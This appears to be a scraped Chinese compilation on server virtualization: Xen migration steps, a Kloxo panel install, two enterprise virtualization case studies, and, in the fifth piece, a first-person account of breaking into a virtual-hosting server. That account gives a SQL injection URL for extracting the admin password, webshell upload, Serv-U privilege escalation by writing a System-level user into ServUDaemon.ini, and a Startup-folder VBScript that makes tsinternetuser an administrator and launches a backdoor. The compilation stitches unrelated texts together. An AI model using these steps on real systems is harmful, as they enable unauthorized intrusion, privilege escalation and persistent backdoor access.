正文内容
虚拟服务器应用
来源:开心麻花
作者:开心麻花
2025-09-23
1

虚拟服务器应用(精选12篇)

虚拟服务器应用 第1篇

虚拟化(Virtualization)技术最早出现在20世纪60年代的IBM大型机系统, 在70年代的System 370系列中逐渐流行起来,许多可以运行独立操作系统软件的虚拟机(Virtual Machine)实例通过一种叫虚拟机监控器(Virtual Machine Monitor, VMM)的程序在物理硬件之上生成。随着近年网格、集群、多核系统、甚至云计算的广泛部署,虚拟化技术已越来越多地在商业应用上体现出它的优势,不仅增强了系统的可靠性和安全性,而且还降低了IT成本,虚拟化的概念在人们日常的工作与生活中逐渐被熟知。虚拟化是一个广义的术语,对于不同的人来说可能意味着不同的东西,这要取决他们所处的环境。在计算机科学领域中,虚拟化不仅仅局限于虚拟机的概念,更代表着对计算资源的抽象。例如虚拟内存技术使得应用程序认为其自身拥有连续可用的地址空间(Address Space),是因为虚拟机对物理内存的抽象。而实际上,应用程序的代码和数据可能是被分隔成多个碎片页或段,甚至被交换到外部存储器上,而应用程序也总是顺利执行,即使物理内存不足。

半虚拟化又分为原生式和宿主式,宿主式最典型的是vmware,vmware运行于一个安装好的操作系统中,并对安装在其上面的其他软件系统进行统一管理,由于宿主操作系统同时可能要运行其他的程序,导致虚拟系统效率不够稳定,优点则是安装方便。原生式比如Xen,由零域对其他guest系统进行管理,由于这种方式不需要一个宿主操作系统,所以原生式与硬件之间的管理层可以更轻薄。原生式类似于安装一个新的操作系统,宿主式类似于安装一个软件。Xen获得高效能表现的方式是通过一种叫做半虚拟化的技术(这样的技术拥有较少的效能损失,在最糟的情况下会有8% 的效能耗损,而在典型的情况下大约损失2% ;与其它使用完全的虚拟化却造成最高到20% 损耗的其他解决方案形成一个明显的对比),甚至在某些与传统虚拟技术极度不友好的架构上(x86),Xen也有极佳的表现。与那些传统透过软件模拟实现硬件的虚拟机不同, Xen需要让客户端操作系统(guest operating systems)与Xen API进行连接(在3.0版本及在Intel VT-X支援前)。

Xen是一个由英国剑桥大学计算机实验室开发的虚拟化开源项目,Xen可以让多个虚拟机在一套物理硬件上安全地执行,它和操作平台结合的极为密切,占用的资源最少。目前稳定版本为Xen3.0。支持万贯虚拟化和超虚拟化。以高性能、占用资源少著称,赢得了IBM、AMD、HP、 Red Hat和Novell等众多世界级软硬件厂商的高度认可和大力支持,已被国内外众多企事业用户用来搭建高性能的虚拟化平台。Xen是一个基于X86架构、占用资源最少、发展最快、性能最稳定的开源虚拟化技术。Xen可以在一套物理硬件上安全的执行多个虚拟机,与Linux是一个非常棒的开源组合,Novell SUSE Linux Enterprise Server最先采用了Xen虚拟技术。它特别适用于服务器应用整合,可有效节省运营成本,提高设备利用率,最大化利用数据中心的IT基础架构。

Xen是一个半(泛)虚拟化(para- virtualization)的产品,这一类产品最明显的特色就是在其上运行的操作系统必须经过修改。当然这么做的目的就是希望客户端的操作系统可以和Hypervisor沟通更良好,并且不会占用太多的资源。若硬件都是由Virtual Machine仿真出来的,性能自然会变得比较慢,所以Xen所主推的概念就是,当操作系统默认支持Xen时就可以通过Xen的机制,直接使用到底层的硬件,而不是每个OS都要通过Hypervisor的接口,性能上就可大为提高。

在Xen中,第一个客户端操作系统被称为第0域(domain 0,dom0)。当Hypervisor启动时,dom0会被自动加载, 并且会从Hypervisor处获得特权用来直接管理硬件的资源。系统管理员主要是登录到dom0中,接下来才能启动其他的客户端操作系统,称为第U域(domain U, dom U)。在dom0中可以运行的操作系统必须经过核心的修改,而且大部分都是Linux、Net BSD和Solaris。

Xen虚拟机可以在不停止的情况下, 在以Xen Server创建的群集间动态移动。 在移动的过程中,虚拟机在没有停止工作的情况下,内存被反复复制到目标主机。 虚拟机到达了目标主机之后,开始执行之前会有一次60~300ms的非常短暂的暂停,这个目的就是让迁移之后的虚拟机能进行最终的同步化,给人无缝迁移的感觉。

存储还原迁移法:

存储还原法的过程是这样的:首先, 将一个domain的当前运行状态保存到硬盘上的一个文件中,然后,Xend再利用该文件实现对该domain原状态的还原。其实这与便携式计算机的休眠功能非常相像: 休眠时,便携式计算机会保存硬盘状态的映像,然后自动关机。退出休眠时,它会使用保存的磁盘映象将系统还原到之前的运行状态。

本节介绍如何将一个运行中的domain保存为一个文件,之后再用它将domain还原到之前的工作状态,至于在哪里还原,既可以在同一个服务器上,也可以在之外的Xen服务器上。但在将domain保存成映像文件之前,一定要腾出足以存放该文件的磁盘空间来。

下面开始介绍在Xen服务器上迁移Domain的具体操作步骤。

具体要做的是:创建一个Rhel domain ,然后将它的状态保存到一个文件,该文件将用于还原这个Rhel domain。

1)创建Rhel guest domain :

# xm create rhel_etch_dom U.cfg –c

2)检查该domain的运行是否正常。 因为给上述的xm命令提供了-c参数,这将在当前控制台中启动客户机Domain。但是要想检查该Domain是否已经启动,就必须使用另外一个控制台会话。

3)要把这个Domain的当前状态保存到/Xen-saved-images目录,当然也可以保存到选择的其他目录:

# xm save 1 /Xen-saved-images/etch.save

4)保存的Domain会从当前运行的Domain列表中删除,可以用xm命令列出眼下运行的Domain,看看它有没有被删掉。

5)从文件还原保存的Domain :

# xm restore /Xen-saved-images/etch.save

6)再次执行xm命令,我们将看到,还原后的Domain又回到当前Domain列表中了。

把工作中的Domain的运行状态保存到一个磁盘文件的时候,文件没有经过任何形式的加密,所以恶意用户只要能够访问保存映像文件目录,就能对这些映像做手脚。因此,确保对存放这些映像的文件夹的访问的安全就显得格外重要。

一个Domain的运行状态就是该Domain在被保存时刻的快照或者映像。所有运行中的进程的信息和状态都被存放到这个文件中。 查看该文件时,会发现这是一个庞大的二进制文件,其大小等于该Domain被保存时所使用的内存量。 因为Xen Domain通常会运行一些企业应用程序,所以这个文件一般小不了,通常都在几GB左右。因此,必须保证有足够的存储空间来存放这个文件。虽然本例将状态保持到了一个硬盘文件之上,但是还可以将这个文件存放到一个足够大的网络文件夹上,甚至一个U盘上。将Domain保存到U盘的确不错,这样就可以随身携带,需要时还可以在不同的服务器上将其还原。

可以使用xm命令加restore选项来还原存储的Domain,这会再次启动该Domain,并将其还原至被保存时的状态。 当使用存储还原法时,有一些事项需要时刻注意:因为Domain还原后的ID不同于其保存时刻的Domain ID,所以使用xm查看还原后的Domain时,一定要注意ID的变化。虽然Domain被恢复到了原先的状态( 被存储时刻的状态),却不能自动连接到该domain的控制台,相反,我们必须显式的运行xm命令才能连接到控制台。

虽然这种迁移Domain的方式简单易行,但是一定要注意,由于Domain在保存时就已经从活动Domain中删除,所以运行于该Domain上的各种服务也就无法使用或访问了。如果对于这种业务中断情况无法接受,那么就应该考虑采用在下一节中介绍的Xen的动态迁移特性。

动态迁移法:

上面介绍了在Xen服务器上迁移Domain时的存储还原法。虽然这种方法很简单,但是如果服务器上有不许中断的关键业务,或者想最小化业务中断时间, 那么还是不能采用这种迁移方法。这时, Xen还为我们提供了一种强大的功能就派上用场了,它就是动态迁移法。它能让Domain在运行期间,以最小的服务中断为代价,将Domain迁移到另外的Xen服务器上。

使用Xen动态迁移可谓好处多多,先将其主要优点列举如下:

结合诸如heartbeat之类的高可用性解决方案一起使用,Xen的动态迁移能给我们带来一个“永不抛锚”的系统。最新版本的Enterprise Su Se Linux Server和Red Hat Enterprise Linux也是利用Xen来提供各种高可用性解决方案的。可以轻而易举的满足各种服务的苛刻要求,同时还能保证所有关键商业服务不会出现中断。

它使我们能够以“治未病”方式来维护寄放虚拟机的物理服务器。您可以监视服务器,然后通过转移系统来即时解决潜在的和可疑的问题。

它使得在多个服务器之间实现负载均衡成为可能,使我们能够更好地利用企业中的所有计算资源,使其利用情况达到最佳状态。需要注意的是,Xen的开源版本目前还不支持在dom0上感应到故障时自动进行动态迁移的功能。

它使得在需要时向系统配置添加计算能力变得更加轻松。

可以根据需要更换硬件,而无需中断运行在该硬件上的服务。

只知道动态迁移的好处还不够,现在介绍一下具体的使用方法。

以下是对动态迁移时涉及到的服务器进行介绍:

Host1 :一个linux NFS服务器,通过网络为Xen Domain提供存储空间。

Host2 :一个Xen主机服务器,它使用NFS服务器导出的目录运行一个客户机Domain :Rhel1 。

Host3 :一个Xen主机服务器,它是来自host2服务器的客户机Domain即Rhel1的迁移目的地。

具体配置情况如下图:(图3-1)

1) 动态迁移要求共享存储器。现实中,对网速的最低要求是100MB。为了共享存储器,将在上图顶部的Xen主机上建立一个NFS服务器,而NFS服务器上的共享存储器空间就是给欲迁移的Domain使用的。

2) 编辑/etc /exports文件,加入下面一行来导出存储器目录:

# /Xen-storage *(r,sync,no_root_ squash)

3) 保存文件,并重启NFS服务器。将NFS服务器添加到该服务器的服务中,并将NFS服务设置为系统重启时运行:

# service nfs startchkconfig nfs on

4) 建立两个Xen服务器,并让他们使用NFS服务器提供的存储空间。为了挂载导出目录,需要为两个Xen服务器都添加安装点:

#mount host2:/Xen-storage

#-mount host3:/Xen-storage

5) 修改Xend配置文件,使其允许动态迁移。编辑/etc/Xen/Xend-config.sxp文件,并确保以下两行没有被注释掉:

(Xend-relocation-port 8002)

(Xend-relocation-address'')

其作用是启动Xen守护进程,以侦听和响应动态迁移的各种请求。

6) 建立一个运行在NFS服务器存储器上的Xen Domain,并在host2上启动该客户机Domain。并让该客户机Domain使用以下配置:

7) 现在,有了一个运行在host2的客户机Domain,它使用NFS导出的目录进行存储。为了检查该Domain的运行是否正常,我们可以在host2上运行下列命令:

# xm migrate --live rhel1_nfs_dom U host3

8) 接下来,可能需要几分钟的时间将这个客户机Domain动态迁移至host3服务器。如果迁移失败,会在控制台显示一个指示失败的消息。

9) 以上就是将正在运行的Domain动态迁移至另一个Xen服务器的全部工作。现在使用xm命令来显示当前运行于host2和host3这两个服务器上的Domain, 将发现,所迁移的Domain目前只能在host3服务器上找到,列出的正在host2服务器上运行的Domain中已经找不到被迁移的Domain的影子了。

动态迁移就是在“带电”情况下,将一个虚拟机从一个物理主机移动到另一个物理主机的过程。该过程不会对最终用户造成明显的影响,从而使得管理员能够在不影响用户正常使用的情况下,对物理服务器进行离线维修或者升级。

需要注意的是,要想改变Domain的运行地点,必须修改默认的Xend配置文件。此外,要使所做的修改在主机上生效, 必须重新启动Xen服务器所在的主机。需要修改以下配置:

Xend-relocation-server :该标志用于启用/ 取消服务器迁移功能。默认时,该标志设为no ,即不允许改变服务器的位置。 在迁移过程中,Domain虚拟内存将变成未经任何加密的原始形式。所以,在不可信的网络上启用该选项时一定要倍加小心。

Xend-relocation-port :Xend守护进程通过该端口进行迁移。这个端口的缺省值是8002。

另外,还有两个无需修改的参数,当在企业部署环境进行迁移时也要注意一下:

Xend-relocation-address :该标志将Domain的迁移限制到特定的接口上。指定的地址是侦听用于Domain迁移的入局连接的接口地址。只有启用Xend-relocation- server参数后,才会用到这个标志。

Xend-relocation-hosts-allow :这个标志定义了允许跟迁移端口进行通信的主机。其值为一个由空格分隔的正则表达式序列。如果该值为空,那么将允许全部输入连接,否则,该值要么与一个IP地址相匹配,要么与一个完整域名相匹配。

事实上,从host2到host3的迁移过程, 是分为多个阶段进行的,如下所示:

第一阶段:迁移之前。

这时,rhel1 Domain运行于host2,并且是一个活动的Domain。

第二阶段:预定。

在host2上发出一个迁移请求,然后检查和确认在host3上可用的资源。然后,Xend在host3上按照所需的尺寸准备一个VM容器。如果Xend无法在host3上获得所需的资源,那么一切就此结束。 该Domain依旧运行在host2上,就像什么事情也没发生一样,此次迁移尝试就此放弃。

第三阶段:重复预拷贝。

先将所有内存页面从host2传送到host3,然后继续传输在先前传送过程中发生变化的页面。最终,所以页面都被拷贝到host3。

到第三阶段为止,rhel1 Domain仍然正常运行于host3之上。

第四阶段:中止并拷贝。

在host2上运行着的Domain被挂起, 其所有网络流量也被重定向至host3。这个阶段结束后,除了在host2上有一个挂起的Domain外,host2上还有了这个被挂起的Domain的副本。这时,host2上被挂起的Domain还可以作为原始副本,万一这一步失败,它还能在host2上恢复运行。

第五阶段:交付。

如果这一步没有错误或失败的话, host3会向host2发送一个指示信息,指出它已经拥有了一个跟host2完全一致的Domain映像。现在,host2将从它的Xen服务器中删除该Domain。从这时起,host3将成为这个Domain的第一宿主机。

在第四阶段至第五阶段期间,rhel1 Domain处于停机状态。

第六阶段:激活。

在host3上激活被迁移的Domain。该Domain内部的全部设备驱动程序现在关联至新的机器上。至此,rhel1 Domain又在host3上复活了。

这些步骤都是在幕后进行的,正是这一系列默默无闻的操作,才使得迁移能够如此平稳的和无缝的过渡!

这里研究了迁移Xen客户机Domain的两种方式:存储还原法和动态迁移法。 前一种方法类似便携式计算机的深度休眠,它先将捕获的domain运行状态作为映像存放在磁盘上,之后再用该映像对这个domain进行还原。后一种方式以最少的中断和停机时间来动态改变处于运行状态中的domain的运行位置。综合使用这两种迁移方法,定能使虚拟化技术的功效更上一层楼。

虚拟服务器应用 第2篇

如果是干净系统那么就跟我一起来学习安装过程吧

首先卸载服务器软件

查询Mysql命令:

rpm -qa | grep mysql

卸载:

yum remove mysql

查询Apache命令:

rpm -qa | grep httpd

卸载:

yum remove httpd

查询PHP命令:

rpm -qa | grep php

卸载:

yum remove php

开始安装

yum install screen #安装screen(如果已有则跳过)

screen –S kloxo #建立一个窗口

wget download.lxcenter.org/download/kloxo/production/kloxo-installer.sh #下载

sh ./kloxo-installer.sh --type=master 运行脚本

控制面板管理地址

IP:7777/ /*安全连接*/ IP:7778/ /*普通链接,常用*/ 默认用户和密码都是admin,

电脑资料

其他组件及系统更新

yum install php-bcmath

yum install php-mbstring

yum check-update

yum update

yum clean all

安装汉化包

cd /usr/local/lxlabs/kloxo/httpdocs/lang

wget www.vpsjy.com/info/zip/kloxo_cn_pack.zip

unzip kloxo_cn_pack.zip

后台配置汉化

Advanced,Appearance,Language选择chinese 点 update 完成

服务器虚拟化在企业的应用研究 第3篇

关键词:服务器;虚拟化;Citrix;资源整合

中图分类号:TP391.9文献标识码:A文章编号:1007-9599 (2012) 01-0000-02

Server Virtualization Application Study in the Enterprise

Liu Yao

(Xiangtan Electric Manufacturing Co.,Ltd.,Xiangtan410004,China)

Abstract:With the in-depth development of information technology,

business systems specialized,complex,enterprise has accumulated a lot of server resources,and its different hardware Condition of varying reliability,use of inefficient management of complex,high operating costs no less than,etc.are gradually becoming apparent.The virtuali-

zation technology in the data set,integration resources has broad application prospects,more and more manufacturers and businesses have joined to the research and application of virtualization technology.

This paper describes how to implement server virtualization of Xiangtan Electric Manufacturing Co.,Ltd..

Keywords:Server;Virtualization;The Citrix;Resource integration

一、项目背景

随着信息化建设的深入发展,企业内积累了大量服务器资源,为解决信息系统各自独立分散、信息资源不能有效协作和共享的问题,湘潭电机股份有限公司(以下简称“湘电”)IT部门提出了数据集中及资源整合的具体目标和思路,利用服务器虚拟化技术实现资源整合,充分发挥服务器性能,提升系统的整体使用率。经统计,湘电现有服务器数量40余台,承载五大关键业务系统和其余业务系统10多套,年服务器增长数量5台以上,空间、电源、网络等基础实施资源剧增;系统管理人员需花费几天甚至更长的时间停机完成硬件维护、升级等工作。综合以上问题,湘电希望借助服务器虚拟化技术提升硬件资源利用率,节省硬件和运营成本,提高管理效率,打造集中管理资源的虚拟化应用平台。

二、Citrix虚拟化技术简介

该技术具有虚拟机动态在线迁移、资源动态分配及负载均衡等特点,且虚拟机的封装文件都存放在统一存储上,通过共享存储进行在线迁移正在运行的虚拟机、进行动态资源管理,为以后容灾备份提供扩展性打下基础。

Citrix自始至终都是以硬件来完成Hypervisor中模拟系统资源的角色,Xen hypervisor运行在最低特权层,直接与硬件打交道,负责为运行在物理主机上的各个虚拟机调度CPU和内存分区。通过DMC(动态内存控制)来实现内存的分配,DMC允许用户不必给每个虚拟服务器分配多少内存的问题上做出一个固定选择,可以在一定的限制内,在不重启服务器的情况下减少或增加服务器的主机内存分配。Citrix XenServer的StorageLink技术与领先存储平台进行了深度集成,利用现有的管理功能和进程,可降低虚拟环境中存储管理的成本和复杂性。为了对服务器虚拟架构进行有效的管理和监控,Citrix将物理服务器和存储资源划分成不同的资源池,让用户可在企业内轻松供给、搜索、监控、迁移和保护虚拟机,以实现灵活而简单的运维管理。

三、实施过程

1.现状评估。在实施开展前,对各类业务系统的资源使用情况进行调研分析,调研内容包括:操作系统类型,CPU、内存、网络带宽和磁盘空间使用率。

2.虚拟化方案设计。经小组成员讨论后,确定了总体设计方案和详细规划。对实施过程中可能出现的问题制定了解决方案,确保其高可用性。

3.物理平台选型。对需要加入虚拟架构的设备数量和资源利用率进行整体分析,以确定物理宿主机的具体配置。虚拟化硬件平台由2台高性能的HP DL 388 G7服务器,一套EMC VNXe 3300存储,1台千兆光纤交换机组成,设备连接结构如下图所示。

4.应用系统规划。应用方面优先非核心业务系统的部署,根据每个应用程序的峰值进行合理的错峰搭配。针对不同的应用分阶段进行迁移操作,可先将非生产系统,如库房服务器上的WEB应用、AD服务器上的WEB应用,迁移到虚拟化服务器上,待其稳定运行一个月后,再进行第二期的迁移工作。

序号应用系统物理服务器CPU内存磁盘空间

1SolidWorks2012浪潮N710L11GB200GB

2数据挖掘HP DL 380 G511GB200GB

3质量管理HP DL 380G511GB320GB

4协同平台库房服务器11GB150GB

AD服务器12GB100GB

5图号申请浪潮N710L11GB300GB

6工号签注浪潮N710L11GB300GB

下图为应用系统在虚拟机平台上的运行情况:

5.物理服务器迁移。虚拟机的迁移部署可以采用2种方式来实现:使用XenConvert迁移工具将旧系统直接迁移到虚拟架构中;重新安装虚拟机,并在新的虚拟机上重新部署应用系统。

四、实施成果

结合公司实际情况,已陆续完成了文件、网站等非生产业务服务器的系统迁移工作,目前运行状态良好。Citrix虚拟化方案架构让湘电信息中心达成以下目标:

1.提高了业务系统的高可用性。通过Citrix虚拟化平台的物理隔离技术,完成了各业务系统与服务器硬件之间的相对独立,为业务系统提供了与服务器硬件无关的基础架构。同时,利用HA技术保证了业务系统的高可用性。

2.提高了服务器的资源利用率。采用了服务器虚拟化技术后,可以实现在少量物理服务器上运行多个虚拟服务器的效果,大大提高了服务器资源利用率。

3.降低了运维成本。服务器的减少降低了维护费用,也降低了运营费用,包括:机房空间、电力消耗、制冷费用等。

4.简化运维工作。数据中心的管理从原来的多线管理变成了统一管理,简化了服务器管理人员的工作量,提高了数据中心的响应能力。

五、总结

随着服务器虚拟化技术在湘电的深入应用,今后将进一步对其他大型应用进行虚拟架构改造。同时,为达到科学整合的目的,可在现有方案上增加全冗余SAN环境设计,彻底消除单点故障区,配合后端EMC阵列库,达到完善的虚拟化应用效果。下一步将考虑把闲置下来的设备进行改机整合:加大内存、增加存储空间,通过千兆交换机进行虚拟化系统的备份架构的搭建。

服务器虚拟化技术在湘电的顺利实施,不仅实现了IT系统的优化、应用系统的整合、维护管理的简化、资源消耗的合理控制,同时为同行业的信息化深入发展提供了一个可资借鉴的成功范例,也为今后新建项目统一规划、资源综合利用、全局信息化水平的提高打下了坚实的基础。

参考文献:

[1]胡嘉玺.企业级虚拟机应用实战:玩转VMware VI、Hyper-V R2、XenServer[M].北京:电子工业出版社,2009

[2]王淑江.虚拟技术应用与实践[M].北京:电子工业出版社,2009

[3]张振伦.虚拟化服务器为绿色电力加油[J].现代图书情报技术,2009

[4]http://virtual.51cto.com/.51CTO网站.虚拟化技术专栏

服务器虚拟化的构建与应用 第4篇

关键词:服务器,虚拟化,应用

1 前言

虚拟化 (Vi RTUalization) 是一个广义的术语, 简单来说, 是指计算机相关模块在虚拟的基础上而不是真实独立的物理硬件基础上运行, 这种把有限的固定资源根据不同需求进行重新规划以达到最大利用率, 实现简化管理、优化资源等目的的解决方案, 叫做虚拟化技术。

目前, 全厂服务器数量逐渐增多, 服务器硬件品牌、系统不同, 所运行的软件不同, 给日常维护管理增加难度。同时, 数字化高效发展的趋势对服务器运行的可靠性、稳定性和不间断运行要求逐渐提高。传统的服务器管理模式与现代高效运行的数字化系统互不匹配。虚拟化技术的应用, 是解决这种矛盾和提高数字化综合服务能力的有效途径。

2 服务器虚拟化的构建

2.1 目前服务器运行状况

全厂目前部署有众多的应用系统, 分布在24台物理服务器上, 这些应用均独立运行于一台固定服务器中, 用传统的物理架构模式运行和管理, 在这种传统的架构下, 考虑到应用系统的安全隔离, 每个应用系统均拥有自己独立的数据库、操作系统, 这些服务器在平时使用中, 资源占用情况一般都不到10%, 而为了满足某些时候突发的资源占用高峰, 不得不为之配备了高性能的服务器, 高性能服务器与通常情况的低资源利用率在传统模式下形成一个不可消除的障碍。

再者传统应用架构下应用系统都过度依赖硬件资源, 而硬件在运行中极难保障不出故障, 一旦服务器硬件出现故障, 其上部署的应用系统将无法使用, 业务连续性得不到保障, 在传统模式下对此很难有完善的解决方案。

2.2 存在的问题

目前, 厂部已投运服务器24台, 服务器应用业务、操作系统、数据库、备份策略等都不相同, 形成24个信息孤岛。在当前数字化快速发展的环境下, 数字化程度越来越高, 新的应用系统和原系统数据的储存、备份等对服务器的数量要求会逐步提高。按目前状况每新增加一个应用系统, 就要新购置服务器, 服务器的购置、储存、管理模式将会不断的扩大, 将来数据中心会变的非常庞大复杂, 管理和运营成本同时也随之上升。

2.2.1 成本高

硬件成本由设备购置费和更新、升级费组成。目前企业级服务器购置价格为3~6万元, 根据具体承载服务的要求, 购置价格不同。现已有的24台服务器均为2009年后购置, 按每年新增4台服务器计算, 硬件购置成本为12~24万元。另外, 综合考虑服务器性能下降和使用寿命, 预计每年更新1台、升级2台服务器, 每年费用4~6万元。仅硬件成本每年达到16~30万元。

运营和维护成本包括机房空间租赁、机柜、网线、耗电量、空调和人力成本等。目前24台服务器分散布置于三地, 每年费用约为20万元。运营和维护成本每年约达到38.5万元。

2.2.2 可用性低

目前24台服务器均为单机运行, 即单机硬件、软件或承载系统故障都会造成该服务终止, 传统的解决方法是双机热备, 故障时自动切换, 但是在双机模式的缺点很多。一是在双机部署时同样的工作要重复两遍, 工作量大;二是双机中必有一台处于热备状态, 资源严重浪费;三是双机运行的成本是单机运行的两倍。所以在传统服务器管理模式下, 只会对安全级别较高的部分服务器部署双机热备, 其余的服务器的运行就处于无保护状态。

2.2.3 兼容性差

服务器的操作系统包括Windows server2003、Winodws 2000 server、Windows NT、Linux系统等, 分别运行于不同的服务器上, 在系统和应用迁移到新的硬件时, 需要新旧系统互相兼容, 这样就需要对新服务器的系统重新安装部署, 带来很多额外工作量。

2.2.4 安全性差

传统的服务器管理模式中, 数据备份或容灾备份都采用设置相应台数的专业备份服务器进行异地或本地备份, 整个过程耗时耗力, 且发生故障时, 数据恢复速度慢, 存在数据丢失现象。

2.3 解决方案

为了更好的解决上述传统单一物理服务器部署应用方式所造成的弊端, 可以采用服务器虚拟架构整合解决方案。

利用现有3台配置较高的服务器虚拟为3台虚拟服务器, 承担目前24台物理服务器所承载的应用, 资源抽象成逻辑资源, 让一台服务器变成多台相互隔离的虚拟服务器, 不再受限于物理上的界限, 利用动态管理的“资源池”, 为各应用提供足够的资源保障, 并根据具体需求动态分配资源, 从而提高了利用率, 为未来新建系统提供更多硬件资源, 使得在虚拟服务器上建立一套新系统的运行环境就像在Windows系统中建立文档一样简单、快捷, 减轻了系统管理的工作量, 降低能耗和运营成本。

3 服务器虚拟化的应用

3.1 应用情况简介

已有24台服务器分别运行数字化管理系统、中心视频服务器、电子执勤等25个不同的系统, 由于视频监控和电子路卡等4台服务器的特殊要求, 不列入虚拟整合。对其余20台服务器实施虚拟化技术。

在具体实现中, 为了实现数据的集中存储、集中备份以及充分利用虚拟架构中虚拟机可动态在线从一台物理服务器迁移到另一台物理服务器上的特性等, 配置一套存储阵列产品, 同时配置冗余的交换机, 组成标准的集中存储架构, 由虚拟架构套件生产出来的虚拟机的封装文件都存放在存储阵列上。在线迁移正在运行的虚拟机, 进行动态的资源管理, 实现即插即用的数据中心, 集中式虚拟机整合备份等, 为以后的容灾提供扩展性和打下基础。

3.1.1 调研评估

在对机房软硬件环境及应用情况调研的基础上, 对现有的24台服务器的主要配置、IP地址、操作系统版本、数据库类型、磁盘空间占用情况、CPU、内存资源占用情况执行虚拟化评估, 当前资源占用总计为:硬盘存储共有8598.67G空间, 已占用3084.08G, 内存使用91.7G, CPU使用131.3G。

3.1.2 规划配置

存储规划:根据评估统计数据, 目前已有数据量为3084.08G, 部署时考虑虚拟化迁移及数据增长因素, 在现有数据总量基础上增加50%计算数据总量, 即数据总量为3084.08*1.5=4626.12GB, 考虑到后期数据的增长, 配置存储时预留30%的增长空间, 计算得出存储配置可用容量应不少于6 TB。

资源规划:根据评估统计数据, 目前CPU资源需求为131.3GHz, 在保证CPU利用率不高于85%的情况下计算, 需要配置131.3/0.85=154.47GHz的CPU资源。若采用E7-4860 CPU, 共需配置4颗物理CPU。

内存规划:根据评估统计数据, 目前已用内存总量为91.7GB, 在虚拟化环境中, 资源耗费最多的就是内存, 内存的配置不但要满足当前需求, 还要满足在虚拟化平台中一台物理服务器出现故障进行迁移后, 虚拟机集中在存活服务器上时的资源需求。因此至少需要配置两台内存不低于91.7GB的物理服务器供搭建虚拟化平台。

3.2 服务器虚拟化技术应用后的优势

3.2.1 大大降低TCO (总所有成本)

提高每个物理服务器及其CPU的资源利用率, 从而降低硬件成本。降低运营和维护成本, 包括数据中心空间、机柜、网线, 耗电量, 空调和人力成本等。

3.2.2 提高运营效率

加快新服务器和应用的部署, 大大降低服务器重建和应用加载时间。将传统模式下硬件维护需要数天/周的变更管理准备和1~3小时维护窗口升级为现在可以进行分钟级快速的硬件维护和升级。

3.2.3 提高综合水平

将所有服务器作为大的资源统一进行管理, 并按需进行资源调配。对旧硬件和操作系统的投资保护, 不再担心旧系统的兼容性, 维护和升级等一系列问题。

3.3 效益评估

3.3.1 硬件购置成本

根据目前服务器更新速度和数字化发展要求, 应用服务器虚拟化技术后, 预计每年减少服务器硬件购置成本为16~30万元。

3.3.2 运营和维护成本

应用服务器虚拟化技术后, 将三地机房统筹管理, 对高陵办公区机房合理调整, 预计减少机房租赁费9万元, 把白豹和环江机房可虚拟化的服务器统一部署在高陵机房, 用虚拟机运行系统, 预计减少耗电、空调和人力费用约为10万元。

3.3.3 其他

记一次渗透虚拟主机服务器 第5篇

问题文件出在admin/user.asp

提交

www.xxx.com/down/admin/user.asp?user=admin’andasc(mid(pwd,1,1))>37and’1’=’1

就相当于:

select*fromUserInfowhereuser=’admin’andasc(mid(pwd,1,1))>37and’1’=’1’“

利用access注入得到管理员密码

上面有一个文件upfile.htm

手工利用了下动网的upfile.asp漏洞

就成功上传了个asp木马

然后那个虚拟主机的c,d盘是NTFS分区

不能访问E盘装着servu,php,webmail,

F盘是虚拟站点

servu安装目录可写~

本来打算替换他servu文件的~但是觉的太麻烦

还容易让管理员怀疑

想起servu的本地提升来了

在自己计算机上装了个servu

添加了一个用户,设置为系统管理员,目录C:,具有可执行权限

然后去servu安装目录里看ServUDaemon.ini

格式是这样的

[GLOBAL]

Version=5.0.0.11

LocalSetupPassword=072C6310580D5C07170A7E3E

LocalSetupPortNo=60628

ProcessID=972

[DOMAINS]

Domain1=192.168.0.102||21|向导产生域|1|0|0

Domain2=192.168.0.102||2121|123|2|0|0

[Domain1]

User1=www|1|0

[USER=www|1]

Password=ih0C292E1AC82920B7F384007F302A1296

HomeDir=D:xiaoben

TimeOut=600

Note1=”Wizardgeneratedaccount“

Access1=D:xiaoben|RLPWAMCD

SKEYValues=

[Domain2]

User1=rover|1|0

User2=123|1|0

[USER=rover|2]

Password=dx5D12C060F16C7166779414FA038E881D

HomeDir=c:

TimeOut=600

Maintenance=System

Access1=C:|RWAMELCDP

SKEYValues=

[USER=123|2]

Password=kv3F6EED70340AD1478ADF95963A07FD00

HomeDir=c:

TimeOut=600

Access1=C:|RWAMLCDP

SKEYValues=

----------------

其中rover用户就是我添加的那个

在虚拟主机的网页木马上打开虚拟机的ServUDaemon.ini

访照我本地的INI写进一个用户进去

User1=rover|1|0

[USER=rover|2]

Password=dx5D12C060F16C7166779414FA038E881D

HomeDir=c:

TimeOut=600

Maintenance=System

Access1=C:|RWAMELCDP

SKEYValues=

保存~

用我新建的用户和密码连接~

好的,还是连上了

ftp

ftp>openip

Connectedtoip.

220Serv-UFTPServerv5.0.0.4forWinSockready...

User(ip:(none)):id//输入构造的用户

331Usernameokay,pleasesendcompleteE-mailaddressaspassword.

Password:password//密码

230Userloggedin,proceed.

ftp>cdwinnt//进入win2k的winnt目录,如果是winxp或者是windowsserver就应该为windows目录,

记一次渗透虚拟主机服务器

250Directorychangedto/WINNT

ftp>cdsystem32//进入system32目录

250Directorychangedto/WINNT/system32

ftp>quotesiteexecnet.exeuserroverrover1234/add//利用系统的net.exe文件加用户。

提示没有权限~郁闷~

但是我们有对C盘的访问权限了是不~hoho~

把后门(server.exe)传他system32目录

然后写一个VBs教本

setwshshell=createobject(”wscript.shell“)

a=wshshell.run(”cmd.exe/cnetusertsinternetuserrover1234/add“,0)

b=wshshell.run(”cmd.exe/cnetlocalgroupAdministratorstsinternetuser/add“,0)

b=wshshell.run(”cmd.exe/cnetusertsinternetuser/active:yes“,0)

b=wshshell.run(”cmd.exe/cserver.exe“,0)

存为HELP.vbe

这个教本的作用是修改tsinternetuser用户密码为rover1234

并且提升为管理员

然后执行system32目录下的server.exe

把这个教本传他C:DocumentsandSettingsAllUsers「开始」菜单程序启动

目录

这样管理员只要一登陆就会执行那个教本~

接下来就是等了~

等他登陆~

等了一段时间(看了一部蜘蛛侠的时间吧)~

连接后门~得到admin权限的shell

hoho~

接下来是善后工作了~就不说了

今天心情非常糟~有一些事情压的我喘不过气来

考试的时候当老师面把卷子撕了,然后扬步走了~

虚拟服务器应用 第6篇

